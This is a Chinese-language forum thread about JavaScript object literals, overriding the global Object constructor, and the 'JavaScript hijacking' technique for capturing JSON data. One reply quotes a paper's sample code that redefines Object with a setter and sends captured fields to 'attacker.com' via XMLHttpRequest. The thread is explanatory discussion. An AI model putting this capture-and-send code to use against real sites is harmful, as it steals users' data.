var s = {name:'lilei',age:'18'};
是直接构造一个json对象 

解决方案 »

  1.   

    function Object()
    {
        display(this);
    }
    这里楼主就js本身的Object对象给覆盖了,为何要用系统关键字呢,不解
      

  2.   

    function Object()
    {
        display(this);
    }
    这里楼主就js本身的Object对象给覆盖了,为何要用系统关键字呢,不解
      

  3.   

    那这个对象构造的时候会执行什么方法吗,比如object()一类的构造函数
      

  4.   

    覆盖了原有的Object对象,
    var s = new Object();
    就只会执行你的构造函数,
    因为你是覆盖,不是继承
      

  5.   


    这个是一个叫javascript函数劫持(javascript hijacking)里的基本技术,好像Object构造函数里本来就是空的,只是一个标志。那些论文里的代码有两种重写Object构造函数来截获Json对象,要不是直接写,要不就是用setter,比如
    var hijackingData = {};function Object() { // redefine/overwrite constructor of Object
        hijackingData = this;
    }function Object() {
    this.email setter = captureObject;
    }
    // Send the captured object back to the attacker's Web site
    function captureObject(x) {
    var objString = "";
    for (fld in this) {
    objString += fld + ": " + this[fld] + ", ";
    }
    objString += "email: " + x;
    var req = new XMLHttpRequest();
    req.open("GET", "http://attacker.com?obj=" +
    escape(objString),true);
    req.send(null);
    }
      

  6.   

    首先,你这个并不是劫持.
    重定义相同的对象/方法才叫劫持.
    对于function Object(){display(this);}
    这样定义,等同var window.Object=function(){display(this);}乃window空间下的Object定义.
    由于在脚本中var s = new window.Object();可以将window.省略,故是你定义的那个function Object()
    而真正的Object乃是"对象",凌驾于function,window之上,function,window他们也是一个Object.
    所以 var s=new Object();和var s={};是两码子事
      

  7.   


    事实上很多人成功了,而且当时这个漏洞暴出来的时候也没有被修复,大型框架里只有DWR能够幸免,连GOOGLE都被成功攻击了。
    http://stock.daili.name/paypal/gold/browse.php?u=Oi8vYmxvZy5yb29kby5jb20vcm9ja3NheWluZy9hcmNoaXZlcy8yOTU1NTU3Lmh0bWw%3D&b=29
    http://www.net-security.org/dl/articles/JavaScript_Hijacking.pdf
      

  8.   

    我落伍了,当大家都在进步的时候我还在井里吐泡泡.我还是有个说法,劫持我了解不深.
    我知道劫持叫做函数劫持,当大家运用方法时候就会调用被劫持的方法.
    但是"类型"也能劫持我就不知道了,对于上述大家都在讨论的ajax被劫持严重,
    我猜是因为很多开发者没有意识到数据传输时候的安全性,一股脑将数据全塞到了客户端.还认为其数据是不可见.
    但是开发者并不在意从ajax得到的数据在转换时和显示时是要调用方法的.尤其是json数据,需要构造.
    当然这里Function 和eval乃至document.wirte都不会幸免,全部劫持后..客户端就这么轻而易举的获取了重要信息.
      

  9.   

    我也很迷茫啊function display(x){alert(x);}
    function Object(){display(this);}
    var s2 = new Object();
    var s = {name:'lilei',age:'18'};
    alert(typeof s2+"\n"+typeof s);
    alert( s2.constructor+"\n"+ s.constructor);
      

  10.   

    为什么s2.constructor和s.constructor不是同一个东西呢?
    原因是,s2是做为类的Object
    s是做为静态name-value对集合的Object,他的类型固然是object但是却不是"Object类",
    它不能被继承、没有prototype子集,不能被实例化.所以无法调用构造函数.
      

  11.   


    那篇文章和相关讨论是怎么回事呢,不会是错的吧,我只试过IE和FIREFOX,事实上你可以试试,我重写Array的话,如果用new Array()可以,但是用[1,2,3]就不行
      

  12.   

    var s=new Array();和var s=[];是两个概念.
    尽管他们都可赋值,都可添加属性.
    但前者是作为类的Array,后者是作为"名-值"对的Array.
    感觉有点像String s=""; 和String s=new String("");
    前一个是String型,而后一个是继承至String类的String型.基本上大家都会在劫持的时候去劫持eval方法,或者Function类,
    因为他们在将json字符串转化成对象的时候会用,可以方便的输出其中的参数.
    劫持的作用lz应该看了,不过我想以后大家回将反劫持都运用上的.
    给lz几个地址看看,相信会有启发.
    http://bbs.zdnet.com.cn/thread-118950-1-1.htmlhttp://www.chinesebloger.com/dispbbs.asp?boardid=2&replyid=54428&id=39719&skin=0&page=2&
    http://www.yuanma.org/data/2007/1214/article_2924.htm